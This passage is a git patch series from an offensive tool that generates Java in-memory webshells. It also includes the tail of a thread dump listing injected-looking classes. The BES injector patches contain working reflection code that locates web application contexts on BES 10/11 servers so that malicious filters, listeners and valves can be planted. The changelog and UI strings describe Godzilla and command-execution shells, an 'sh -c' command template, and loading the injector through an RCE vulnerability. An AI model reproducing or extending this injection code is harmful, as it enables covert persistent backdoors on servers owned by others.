com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1378c7d7 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e91e179 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.20/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"RMI TCP Connection(1)-192.168.215.5" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.20/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.20/java.net.Socket$SocketInputStream.read(Socket.java:966) + at java.base@17.0.20/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.20/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.20/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source) + at java.base@17.0.20/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.20/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.20/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter +com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl +com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl +com.bes.ejb.spark.tcp.transport.AcceptorThread +com.bes.ejb.spark.tcp.transport.SelectorThread +com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread +com.bes.enterprise.appserver.startup.Bootstrap +com.bes.enterprise.appserver.startup.CommonClassLoader$1 +com.bes.enterprise.base.disruptor.BatchEventProcessor +com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier +com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy +com.bes.enterprise.base.disruptor.util.Util +com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread +com.bes.enterprise.server.builder.BesWebModule +com.bes.enterprise.startup.ASMain +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.Acceptor +com.bes.enterprise.web.util.net.NioEndpoint +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.ThreadPoolExecutor +com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webext.BESAppservValve +com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve +com.bes.enterprise.webext.BesContextCleanupValve +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.connector.CoyoteWriter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager +com.bes.org.objectweb.howl.log.LogFileManager$EventManager +org.hsqldb.lib.HsqlTimer +org.hsqldb.lib.HsqlTimer$TaskQueue +org.hsqldb.lib.HsqlTimer$TaskRunner +org.springframework.EZQui.ErrorCphpbHandler From 4d17c94aa88b74fc578a0f330bc2adb1a134a80b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 26 Aug 2026 14:55:48 +0800 Subject: [PATCH 10/20] refactor: simplify BES getContext code --- .../injector/bes/BesFilterInjector.java | 66 ++++++------------- .../injector/bes/BesListenerInjector.java | 66 ++++++------------- .../injector/bes/BesValveInjector.java | 66 ++++++------------- 3 files changed, 63 insertions(+), 135 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index af82f3bb..0dea4136 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -85,10 +85,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -102,47 +119,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index 31e43a57..878e28b2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -77,10 +77,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -94,47 +111,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index 21a25a26..79c2b224 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -76,10 +76,27 @@ public Set getContext() throws Exception { for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + for (Object value : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(value, "children")).values()); + } + } else if (thread.getName().contains("AppServer-utility")) { + // BES 10 / BES 11: AppServer-utility thread fallback. + // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. + Object target = getFieldValue(thread, "target"); + try { + target = getFieldValue(target, "wrappedRunnable"); + } catch (Throwable ignored) { + } + Iterable workQueue = (Iterable) getFieldValue(getFieldValue(target, "this$0"), "workQueue"); + for (Object task : workQueue) { + Object runnable = getFieldValue(getFieldValue(task, "callable"), "task"); + if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { + continue; + } + Map childrenMap = (Map) getFieldValue(getFieldValue(runnable, "this$0"), "children"); + for (Object host : childrenMap.values()) { + contexts.addAll(((Map) getFieldValue(host, "children")).values()); + } } } else if (thread.getContextClassLoader() != null) { String name = thread.getContextClassLoader().getClass().getSimpleName(); @@ -93,47 +110,6 @@ public Set getContext() throws Exception { } } } - // BES 10 / BES 11: AppServer-utility thread fallback. - // BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both. - if (contexts.isEmpty()) { - for (Thread thread : threads) { - try { - if (!thread.getName().contains("AppServer-utility")) { - continue; - } - Object target = getFieldValue(thread, "target"); - Object realTarget = target; - try { - realTarget = getFieldValue(target, "wrappedRunnable"); - } catch (Throwable ignored) { - } - Iterable workQueue = (Iterable) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue"); - for (Object task : workQueue) { - if (task == null) { - continue; - } - try { - Object callable = getFieldValue(task, "callable"); - Object runnable; - try { - runnable = getFieldValue(callable, "task"); - } catch (Throwable ignored) { - runnable = callable; - } - if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) { - continue; - } - Object engine = getFieldValue(runnable, "this$0"); - for (Object host : ((Map) getFieldValue(engine, "children")).values()) { - contexts.addAll(((Map) getFieldValue(host, "children")).values()); - } - } catch (Throwable ignored) { - } - } - } catch (Throwable ignored) { - } - } - } return contexts; } From f239dfb6dfe4a854eb644fa0c28f212a163ac44b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 26 Aug 2026 18:17:29 +0800 Subject: [PATCH 11/20] docs: update changelog --- web/content/docs/changelog.mdx | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 1ea09b13..90dcc6fe 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,18 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.10.0) + +### Fixed + +1. 修复 BES 10/11 部分场景 context 找不到(#157 By @su18,#156 Thanks @mssky9527) +2. 修复 TongWeb7 SpringBoot Embedded 下 Filter/Valve/Agent 马注入失败(Thanks @su18) +3. 修复哥斯拉/命令执行 WebFilter/NettyHandler 多次长延迟请求阻塞耗尽请求线程导致业务中断(Thanks @xcxmiku) +4. 修复 SpringBoot4 WebFlux WebFilter 注入失败 +5. 修复自定义内存马传入 Java5 包含低版本指令时生成失败 + +**Full Changelog:** [v2.9.0...v2.10.0](https://github.com/ReaJason/MemShellParty/compare/v2.9.0...v2.10.0) + ## [v2.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.9.0) - 2026-08-03 ### Added From 3c91ba50e9c2afb2f6631e009ab65f93a0190ea5 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 30 Aug 2026 12:30:58 +0800 Subject: [PATCH 12/20] feat: support auto decompiling with cfr --- Dockerfile | 1 + web/app/components/code-viewer.tsx | 100 +++++++++++- .../memshell/decompiled-code-viewer.tsx | 123 +++++++++++++++ web/app/components/memshell/shell-result.tsx | 82 +++++++--- web/app/components/ui/dropdown-menu.tsx | 53 +++++++ web/app/i18n/common/en.json | 6 +- web/app/i18n/common/zh-CN.json | 6 +- web/app/i18n/memshell/en.json | 4 +- web/app/i18n/memshell/zh-CN.json | 4 +- web/app/lib/decompile/decompile.worker.ts | 97 ++++++++++++ web/app/lib/decompile/prism-worker-guard.ts | 15 ++ .../lib/decompile/use-decompiled-sources.ts | 143 ++++++++++++++++++ web/bun.lock | 3 + web/package.json | 1 + web/vendor/cfr/cfr.d.ts | 10 ++ web/vendor/cfr/cfr.js | 19 +++ web/vendor/cfr/cfr.wasm | Bin 0 -> 3501148 bytes web/vendor/cfr/cfr.wasm-runtime.js | 30 ++++ web/vendor/cfr/package.json | 24 +++ 19 files changed, 692 insertions(+), 29 deletions(-) create mode 100644 web/app/components/memshell/decompiled-code-viewer.tsx create mode 100644 web/app/components/ui/dropdown-menu.tsx create mode 100644 web/app/lib/decompile/decompile.worker.ts create mode 100644 web/app/lib/decompile/prism-worker-guard.ts create mode 100644 web/app/lib/decompile/use-decompiled-sources.ts create mode 100644 web/vendor/cfr/cfr.d.ts create mode 100644 web/vendor/cfr/cfr.js create mode 100644 web/vendor/cfr/cfr.wasm create mode 100644 web/vendor/cfr/cfr.wasm-runtime.js create mode 100644 web/vendor/cfr/package.json diff --git a/Dockerfile b/Dockerfile index 3d41ea28..1c5b61e6 100644 --- a/Dockerfile +++ b/Dockerfile @@ -17,6 +17,7 @@ ENV VITE_APP_API_URL=${CONTEXT_PATH} \ VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/ +COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr RUN bun install --frozen-lockfile diff --git a/web/app/components/code-viewer.tsx b/web/app/components/code-viewer.tsx index dffb4a94..37ad6445 100644 --- a/web/app/components/code-viewer.tsx +++ b/web/app/components/code-viewer.tsx @@ -10,6 +10,12 @@ import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/materia import { toast } from "sonner"; import { Button, type buttonVariants } from "@/components/ui/button"; +import { + DropdownMenu, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; import { cn } from "@/lib/utils"; SyntaxHighlighter.registerLanguage("java", java); @@ -18,8 +24,16 @@ interface CopyButtonProps extends React.ComponentProps<"button"> { src?: string; } +export interface CopyOption { + label: string; + value: string; + disabled?: boolean; +} + export function CopyButton({ value, + className, + ...buttonProps }: Readonly>) { const [hasCopied, setHasCopied] = useState(false); const { t } = useTranslation(["common"]); @@ -43,11 +57,12 @@ export function CopyButton({ return ( @@ -55,6 +70,62 @@ export function CopyButton({ ); } +export function CopyMenuButton({ + options, + className, + ...buttonProps +}: Readonly< + { options: CopyOption[] } & React.ComponentProps<"button"> & VariantProps +>) { + const [hasCopied, setHasCopied] = useState(false); + const { t } = useTranslation(["common"]); + + useEffect(() => { + if (hasCopied) { + const timer = setTimeout(() => { + setHasCopied(false); + }, 1000); + return () => clearTimeout(timer); + } + }, [hasCopied]); + + const handleCopy = useCallback(() => { + if (!hasCopied) { + setHasCopied(true); + toast.success(t("copySuccess"), { duration: 1000 }); + } + }, [hasCopied, t]); + + return ( + + + } + > + {hasCopied ? : } + + + {options.map((option) => ( + + {option.label} + + ))} + + + ); +} + export default function CodeViewer({ code, header, @@ -63,6 +134,9 @@ export default function CodeViewer({ height, showLineNumbers = true, wrapLongLines = true, + copyLabel, + copyDisabled = false, + copyOptions, }: Readonly) { const lineProps: lineTagPropsFunction | HTMLProps | undefined = wrapLongLines ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } @@ -75,7 +149,24 @@ export default function CodeViewer({ {header}
{button} - + {copyOptions ? ( + + ) : ( + + )}
@@ -110,4 +201,7 @@ interface CodeViewerProps { showLineNumbers?: boolean; wrapLongLines?: boolean; lineProps?: (lineNumber: number) => React.HTMLProps; + copyLabel?: string; + copyDisabled?: boolean; + copyOptions?: CopyOption[]; } diff --git a/web/app/components/memshell/decompiled-code-viewer.tsx b/web/app/components/memshell/decompiled-code-viewer.tsx new file mode 100644 index 00000000..79f85246 --- /dev/null +++ b/web/app/components/memshell/decompiled-code-viewer.tsx @@ -0,0 +1,123 @@ +import type { TokenLine } from "@/lib/decompile/decompile.worker"; + +import { memo, type ReactNode } from "react"; + +import { CopyMenuButton, type CopyOption } from "@/components/code-viewer"; + +/** material-dark palette (react-syntax-highlighter prism theme) */ +const TOKEN_COLORS: Record = { + atrule: "#c792ea", + boolean: "#c792ea", + builtin: "#ffcb6b", + char: "#80cbc4", + "class-name": "#f2ff00", + comment: "#616161", + constant: "#c792ea", + function: "#c792ea", + keyword: "#c792ea", + number: "#fd9170", + operator: "#89ddff", + property: "#80cbc4", + punctuation: "#89ddff", + regex: "#f2ff00", + string: "#a5e844", + variable: "#ff6666", +}; + +const BACKGROUND = "#2f2f2f"; +const PLAIN = "#eee"; +const GUTTER_COLOR = "#616161"; +const FONT_FAMILY = "Roboto Mono, monospace"; + +interface DecompiledCodeViewerProps { + lines: TokenLine[] | null; + placeholder: string; + header?: ReactNode; + button?: ReactNode; + height: number; + copyLabel: string; + copyOptions: CopyOption[]; +} + +export default memo(function DecompiledCodeViewer({ + lines, + placeholder, + header, + button, + height, + copyLabel, + copyOptions, +}: Readonly) { + return ( +
+
+ {header} +
+ {button} + +
+
+
+ {lines ? ( +
+
+ {lines.map((_, index) => ( +
{index + 1}
+ ))} +
+
+              {lines.map((line, index) => (
+                
+ {line.map(([type, text], segmentIndex) => + type === "plain" ? ( + text + ) : ( + + {text} + + ), + )} + {line.length === 0 ? " " : null} +
+ ))} +
+
+ ) : ( +
+            {placeholder}
+          
+ )} +
+
+ ); +}); diff --git a/web/app/components/memshell/shell-result.tsx b/web/app/components/memshell/shell-result.tsx index 9a2d6b3d..d1581bf7 100644 --- a/web/app/components/memshell/shell-result.tsx +++ b/web/app/components/memshell/shell-result.tsx @@ -4,12 +4,13 @@ import { DownloadIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; +import DecompiledCodeViewer from "@/components/memshell/decompiled-code-viewer"; import { QuickUsage } from "@/components/memshell/quick-usage"; import { Button } from "@/components/ui/button"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; +import { useDecompiledSources } from "@/lib/decompile/use-decompiled-sources"; import { downloadBytes } from "@/lib/utils"; -import CodeViewer from "../code-viewer"; import { BasicInfo } from "./results/basic-info"; import { ResultComponent } from "./results/result-component"; @@ -23,10 +24,24 @@ export default function ShellResult({ generateResult?: MemShellResult; }>) { const { t } = useTranslation(["common", "memshell"]); + const { sources, isDecompiling, error } = useDecompiledSources(generateResult); + if (!generateResult) { return ; } + + const shellClassName = generateResult.shellClassName; + const shellBytesBase64 = generateResult.shellBytesBase64Str; + const injectorClassName = generateResult.injectorClassName; + const injectorBytesBase64 = generateResult.injectorBytesBase64Str; + const height = 800; + const sourcePlaceholder = isDecompiling + ? `// ${t("common:decompiling")}` + : error + ? `// ${t("common:decompileFailed", { error })}` + : ""; + return ( @@ -42,61 +57,84 @@ export default function ShellResult({ generateResult={generateResult} /> - - {generateResult?.shellClassName}
} + + {shellClassName}} button={ } - wrapLongLines={true} height={height} - code={generateResult?.shellBytesBase64Str ?? ""} - language="text" + lines={sources.shell?.lines ?? null} + placeholder={sourcePlaceholder} /> - - {generateResult?.injectorClassName}} + + {injectorClassName}} button={ } height={height} - code={generateResult?.injectorBytesBase64Str ?? ""} - language="text" + lines={sources.injector?.lines ?? null} + placeholder={sourcePlaceholder} /> diff --git a/web/app/components/ui/dropdown-menu.tsx b/web/app/components/ui/dropdown-menu.tsx new file mode 100644 index 00000000..733a2e56 --- /dev/null +++ b/web/app/components/ui/dropdown-menu.tsx @@ -0,0 +1,53 @@ +import { Menu as MenuPrimitive } from "@base-ui/react/menu"; + +import { cn } from "@/lib/utils"; + +const DropdownMenu = MenuPrimitive.Root; + +const DropdownMenuTrigger = MenuPrimitive.Trigger; + +function DropdownMenuContent({ + className, + side = "bottom", + sideOffset = 4, + align = "center", + alignOffset = 0, + ...props +}: MenuPrimitive.Popup.Props & + Pick) { + return ( + + + + + + ); +} + +function DropdownMenuItem({ className, ...props }: MenuPrimitive.Item.Props) { + return ( + + ); +} + +export { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger }; diff --git a/web/app/i18n/common/en.json b/web/app/i18n/common/en.json index c4ead374..97723d70 100644 --- a/web/app/i18n/common/en.json +++ b/web/app/i18n/common/en.json @@ -4,6 +4,7 @@ "byPassJavaModule": "BypassModule", "byPassJavaModule.description": "JDK 9+ module system strictly restricts reflective defineClass calls. When enabled, automatically inserts Unsafe-based module bypass code into injector", "cancel": "Cancel", + "copy": "Copy", "copyLabelSuccess": "Copy {{label}} successfully", "copySuccess": "Copy successfully", "debug": "Debug Mode", @@ -56,5 +57,8 @@ "commandTemplate": "Command Template", "commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1", "commandTemplate.description": "Use {command} as placeholder", - "targetJdkVersion": "JRE Version" + "targetJdkVersion": "JRE Version", + "decompile": "Decompile", + "decompiling": "Decompiling...", + "decompileFailed": "Failed to decompile source: {{error}}" } diff --git a/web/app/i18n/common/zh-CN.json b/web/app/i18n/common/zh-CN.json index 0a91905d..5e2fae1f 100644 --- a/web/app/i18n/common/zh-CN.json +++ b/web/app/i18n/common/zh-CN.json @@ -4,6 +4,7 @@ "byPassJavaModule": "绕过模块限制", "byPassJavaModule.description": "JDK 9+ 模块化系统严格限制反射调用 defineClass。开启后会在注入器中自动插入使用 Unsafe 绕过模块限制的代码", "cancel": "取消", + "copy": "复制", "copyLabelSuccess": "复制 {{label}} 成功", "copySuccess": "复制成功", "debug": "调试模式", @@ -56,5 +57,8 @@ "commandTemplate": "命令模板", "commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1", "commandTemplate.description": "使用 {command} 作为占位符", - "targetJdkVersion": "JRE 版本" + "targetJdkVersion": "JRE 版本", + "decompile": "反编译", + "decompiling": "正在反编译...", + "decompileFailed": "反编译源码失败:{{error}}" } diff --git a/web/app/i18n/memshell/en.json b/web/app/i18n/memshell/en.json index 8458bd88..cba34fb3 100644 --- a/web/app/i18n/memshell/en.json +++ b/web/app/i18n/memshell/en.json @@ -57,5 +57,7 @@ "tips.try-to-use-shell": "Try to use the memory shell", "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", - "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" + "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability", + "copySource": "Copy Source", + "copyBase64": "Copy Base64" } diff --git a/web/app/i18n/memshell/zh-CN.json b/web/app/i18n/memshell/zh-CN.json index 2894fdbd..ffd54a01 100644 --- a/web/app/i18n/memshell/zh-CN.json +++ b/web/app/i18n/memshell/zh-CN.json @@ -57,5 +57,7 @@ "tips.try-to-use-shell": "尝试利用内存马", "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入", - "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" + "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载", + "copySource": "复制源码", + "copyBase64": "复制 Base64" } diff --git a/web/app/lib/decompile/decompile.worker.ts b/web/app/lib/decompile/decompile.worker.ts new file mode 100644 index 00000000..8042bba8 --- /dev/null +++ b/web/app/lib/decompile/decompile.worker.ts @@ -0,0 +1,97 @@ +import "./prism-worker-guard"; +import { decompile } from "@run-slicer/cfr"; +import Prism from "prismjs"; +import "prismjs/components/prism-clike"; +import "prismjs/components/prism-java"; + +/** [tokenType, text] segments of one rendered line */ +export type TokenLine = Array<[string, string]>; + +export interface DecompiledClass { + source: string; + lines: TokenLine[]; +} + +export interface DecompileRequest { + id: number; + shellClassName: string; + shellBytesBase64: string; + injectorClassName: string; + injectorBytesBase64: string; +} + +export interface DecompileResponse { + id: number; + shell?: DecompiledClass; + injector?: DecompiledClass; + error?: string; +} + +function base64ToBytes(base64String: string) { + const byteCharacters = atob(base64String); + const bytes = new Uint8Array(byteCharacters.length); + for (let i = 0; i < 